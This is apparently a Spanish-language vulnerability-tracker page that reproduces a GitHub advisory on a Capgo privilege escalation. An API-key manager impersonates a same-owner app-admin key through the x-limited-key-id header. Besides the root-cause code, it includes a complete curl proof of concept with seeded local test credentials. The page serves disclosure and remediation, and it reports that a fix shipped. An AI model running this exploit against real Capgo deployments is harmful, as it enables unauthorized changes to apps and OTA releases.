llamaCVEVulnerability Intelligence
/
Advisory · GitHub

GHSA-5HJR-XHX8-X5J7

API key manager can impersonate a protected same-owner app-admin key via x-limited-key-id

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición85 dDesde la divulgación, 27 ago 2026, 3:40 a. m.
Detección83 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
27 ago 26
18 nov 26
20 nov 26
27 ago 26
17 sept 26
9 oct 26
30 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5HJR-XHX8-X5J7 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

An authenticated `apikey_manager` API key can impersonate a more privileged, same-owner scoped API key by supplying only its numeric ID in the `x-limited-key-id` header.

Capgo verifies that the selected key belongs to the same user and has a scoped RBAC binding, but it does not verify that the key is an explicitly delegated child or that its permissions are contained within the authenticating key's permissions. The middleware then replaces the authenticated RBAC principal and effective API-key secret with the selected sibling.

This allows an `apikey_manager` with no application access to exercise an `app_admin` sibling's permissions without knowing or submitting the app-admin secret. The issue was reproduced on Capgo 12.242.4 after the fix for GHSA-8h52-44r7-w343.

Details

Tested version

  • Release: `capgo-12.242.4`
  • Commit: `b3d02cdbc23ac59990785acacd1f113c07458568`
  • Ubuntu 26.04 LTS, x86_64
  • Bun 1.3.14
  • Node.js v24.19.0
  • Docker 29.1.3
  • Supabase CLI 2.109.1
  • Freshly reset local Supabase database

Root cause

In `supabase/functions/_backend/utils/hono_middleware.ts:110-130`, `checkKeyByIdPg()` resolves an attacker-selected API key using only:

  • its numeric ID;
  • its expiration state; and
  • the authenticating key's `user_id`.

The relevant conditions are:

const conditions = [
  eq(schema.apikeys.id, id),
  notExpiredCondition,
]
if (expectedUserId) {
  conditions.push(eq(schema.apikeys.user_id, expectedUserId))
}

There is no parent-child delegation check and no comparison of the parent and target keys' effective permissions.

In `supabase/functions/_backend/utils/hono_middleware.ts:232-304`, `hasLimitedRbacSubkeyScope()` considers any API key with a non-organization binding to be a valid limited subkey:

EXISTS (
  SELECT 1
  FROM active_bindings
  WHERE scope_type <> public.rbac_scope_org()
)

An `app_admin` binding is app-scoped, so it satisfies this condition even when the authenticating `apikey_manager` has no access to that application.

This function compares the target key against the owning user's organizations. It does not compare the target against the authenticating API-key principal.

In `supabase/functions/_backend/utils/hono_middleware.ts:354-373`, `validateSubkeyUser()` checks only whether both keys have the same owning user:

if (subkey.user_id !== apikey.user_id) {
  return quickError(401, 'invalid_subkey', 'Invalid subkey')
}

However, Capgo's RBAC model treats API keys as independent principals with separate `role_bindings`. Sharing a `user_id` does not mean that one API key should inherit another key's permissions.

In `supabase/functions/_backend/utils/hono_middleware.ts:193-223`, `setSubkeyAuthContext()` completely replaces the authenticated principal and effective secret:

function setSubkeyAuthContext(c, userId, subkey, subkeySecret) {
  c.set('auth', {
    userId,
    authType: 'apikey',
    apikey: subkey,
    jwt: null,
  })
  c.set('apikey', subkey)
  c.set('subkey', subkey)
  c.set('capgkey', subkeySecret)
}

Finally, in `supabase/functions/_backend/utils/hono_middleware.ts:657-677`, the middleware performs the substitution after only the same-owner and target-scope checks:

const subkey = await resolveSubkey(
  c,
  subkey_id,
  usePostgres,
  apikey.user_id,
  readOnly,
)

const userError = validateSubkeyUser(c, subkey, apikey)
const limitError = await validateSubkeyLimits(c, subkey)

assertSubkeyHasPlaintextSecret(c, subkey)
setSubkeyAuthContext(c, apikey.user_id, subkey, subkey.key)

No generic non-webhook route checks `parentApikey` after this substitution. App, bundle, and channel handlers authorize only the selected sibling.

The plaintext-key precondition is realistic because `supabase/functions/_backend/public/apikey/post.ts:109-113` defaults to plaintext storage unless the caller explicitly supplies `hashed: true`:

const isHashed = body.hashed === true

Relation to GHSA-8h52-44r7-w343

This issue is related to, but distinct from, GHSA-8h52-44r7-w343.

Capgo 12.242.4 correctly prevents an `apikey_manager` from rotating an `app_admin` sibling. The PoC below confirms that rotation returns `403 forbidden_binding`.

However, the `x-limited-key-id` authentication path does not invoke that protection. It directly substitutes the protected sibling as the active principal. The issue therefore remains reproducible in the release containing the rotation fix.

Suggested remediation

Do not treat a shared `user_id` as sufficient authorization to select another API-key principal.

Possible fixes include:

  1. Introduce an explicit parent-child delegation relationship and accept `x-limited-key-id` only for a child explicitly delegated to that parent.
  2. Verify that every effective target permission and scope is contained within the authenticating parent's permissions and scopes before changing the context.
  3. Reject substitution when the parent has no access to a target organization, application, or channel.
  4. Avoid loading and propagating a sibling's plaintext secret based solely on its numeric ID.
  5. Apply the validation in both middleware paths before `setSubkeyAuthContext()` is called.

Role priority or a role-name denylist alone is insufficient because roles may have disjoint permission sets.

Regression coverage should include:

  • `apikey_manager` parent plus same-owner `app_admin` sibling: rejected;
  • app-scoped parent plus broader organization-scoped sibling: rejected;
  • unrelated same-owner sibling: rejected;
  • privileged parent plus explicitly delegated limited child: allowed;
  • existing cross-user and hashed-subkey cases remain rejected.
PoC

The following steps use only local seeded test credentials. They are not production credentials.

1. Start a clean local environment

git checkout b3d02cdbc23ac59990785acacd1f113c07458568
bun install
bun run supabase:start
bun run supabase:db:reset
bun run supabase:status

In a second terminal:

bun run supabase:functions:serve

Use the worktree-specific URL and publishable key printed by `bun run supabase:status`:

export BASE_URL='http://127.0.0.1:59071'
export PUBLISHABLE_KEY='<publishable key from supabase:status>'
export ORG_ID='f1a2b3c4-d5e6-4f70-8a9b-0c1d2e3f4a50'
export MANAGER_KEY='d1e2f3a4-b5c6-4d7e-8f90-a1b2c3d4e5f6'
export SUPERADMIN_KEY='c9d0e1f2-a3b4-4c5d-8e6f-7a8b9c0d1e25'
export APP_ID='com.capgo.subkey-appadmin-poc'

2. Obtain the seeded management user's JWT

export MGMT_JWT="$(curl -sS -X POST \
  "$BASE_URL/auth/v1/token?grant_type=password" \
  -H "apikey: $PUBLISHABLE_KEY" \
  -H 'Content-Type: application/json' \
  --data '{"email":"apikey-management@capgo.app","password":"testtest"}' |
  jq -r '.access_token')"

Verify that authentication succeeded:

printf 'JWT length: %s\n' "${#MGMT_JWT}"

3. Create a victim application legitimately

export APP_UUID="$(curl -sS -X POST \
  "$BASE_URL/functions/v1/app" \
  -H 'Content-Type: application/json' \
  -H "capgkey: $SUPERADMIN_KEY" \
  --data "{\"owner_org\":\"$ORG_ID\",\"app_id\":\"$APP_ID\",\"name\":\"Subkey app-admin PoC\",\"icon\":\"test-icon\"}" |
  jq -r '.id')"

Verify that an internal app UUID was returned:

printf 'App UUID: %s\n' "$APP_UUID"

4. Create a legitimate plaintext app-admin sibling

export TARGET_ID="$(curl -sS -X POST \
  "$BASE_URL/functions/v1/apikey" \
  -H "Authorization: Bearer $MGMT_JWT" \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"subkey-appadmin-poc-target\",\"hashed\":false,\"bindings\":[{\"role_name\":\"org_member\",\"scope_type\":\"org\",\"org_id\":\"$ORG_ID\"},{\"role_name\":\"app_admin\",\"scope_type\":\"app\",\"org_id\":\"$ORG_ID\",\"app_id\":\"$APP_UUID\"}]}" |
  jq -r '.id')"

Only the target ID is retained. The generated app-admin secret is discarded and is not used in any subsequent request.

printf 'Target ID: %s\n' "$TARGET_ID"

5. Confirm that the manager cannot rotate the app-admin target

curl -sS -i -X PUT \
  "$BASE_URL/functions/v1/apikey/$TARGET_ID" \
  -H 'Content-Type: application/json' \
  -H "capgkey: $MANAGER_KEY" \
  --data '{"regenerate":true}'

Observed result:

HTTP/1.1 403 Forbidden

{"error":"forbidden_binding","message":"Forbidden - API key managers cannot assign the app_admin role","moreInfo":{}}

This confirms that Capgo intentionally protects the app-admin sibling from the manager.

6. Negative control: manager cannot update the victim application

curl -sS -i -X PUT \
  "$BASE_URL/functions/v1/app/$APP_ID" \
  -H 'Content-Type: application/json' \
  -H "capgkey: $MANAGER_KEY" \
  --data '{"name":"Manager denied update","icon":"test-icon"}'

Observed result:

HTTP/1.1 401 Unauthorized

{"error":"cannot_access_app","message":"You can't access this app","moreInfo":{"app_id":"com.capgo.subkey-appadmin-poc"}}

7. Exploit: add only the protected sibling's numeric ID

Send the identical update using the same manager credential, adding only `x-limited-key-id`:

curl -sS -i -X PUT \
  "$BASE_URL/functions/v1/app/$APP_ID" \
  -H 'Content-Type: application/json' \
  -H "capgkey: $MANAGER_KEY" \
  -H "x-limited-key-id: $TARGET_ID" \
  --data '{"name":"Updated through sibling ID","icon":"test-icon"}'

Observed result:

HTTP/1.1 200 OK

The response contains:

{
  "app_id": "com.capgo.subkey-appadmin-poc",
  "name": "Updated through sibling ID"
}

The app-admin sibling's secret was never known or submitted. The only attacker credential was the lower-privilege `apikey_manager` key.

The manager can enumerate same-owner sibling IDs through its legitimate `GET /functions/v1/apikey` access, so exploitation does not require guessing or brute force.

8. Cleanup

curl -sS -X DELETE \
  "$BASE_URL/functions/v1/app/$APP_ID" \
  -H "capgkey: $SUPERADMIN_KEY"
curl -sS -X DELETE \
  "$BASE_URL/functions/v1/apikey/$TARGET_ID" \
  -H "Authorization: Bearer $MGMT_JWT"
unset MGMT_JWT TARGET_ID APP_UUID
Impact

This is a vertical privilege-escalation and incorrect-authorization vulnerability.

An attacker who compromises an `apikey_manager` key can impersonate any active, plaintext, same-owner scoped sibling that passes the target-only limited-scope check.

For an `app_admin` sibling, the effective permissions include:

  • reading application logs, devices, bundles, channels, and audit information;
  • changing application settings;
  • uploading OTA bundles;
  • deleting bundles;
  • creating, modifying, or deleting channels; and
  • promoting or rolling back channel bundles.

This creates a realistic OTA integrity risk. A key intended only to manage API-key metadata can potentially modify application configuration and gain release-management capabilities belonging to an app-admin sibling.

Impacted users are Capgo organizations where:

  1. an `apikey_manager` key exists;
  2. the same owning account has an active plaintext scoped API key; and
  3. that sibling carries permissions not held by the manager.

The attack requires only one valid manager credential and an enumerable sibling ID. It does not require the sibling secret, database access, a race condition, or brute force.

---

---

Fix PR (merged)

Intentional fix PR https://github.com/Cap-go/capgo.app/pull/3196 merged 2026-08-25 (11:16 EEST). Enforces subkey delegation containment in API key middleware.

Reporter: please verify after the next production release. Bounty/credit is due only after that verification, per Capgo bounty policy.

Production: shipped in capgo-12.258.0 (published 2026-08-25 17:01 EEST / 14:01 UTC). Reporter: please verify on production. Bounty/credit still waits on reporter verification.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Remediación

Estado del parche por paquete

La fuente no informa paquetes ni versiones corregidas.

Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Cap-go/capgo.app/security/advisories/GHSA-5hjr-xhx8-x5j7

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.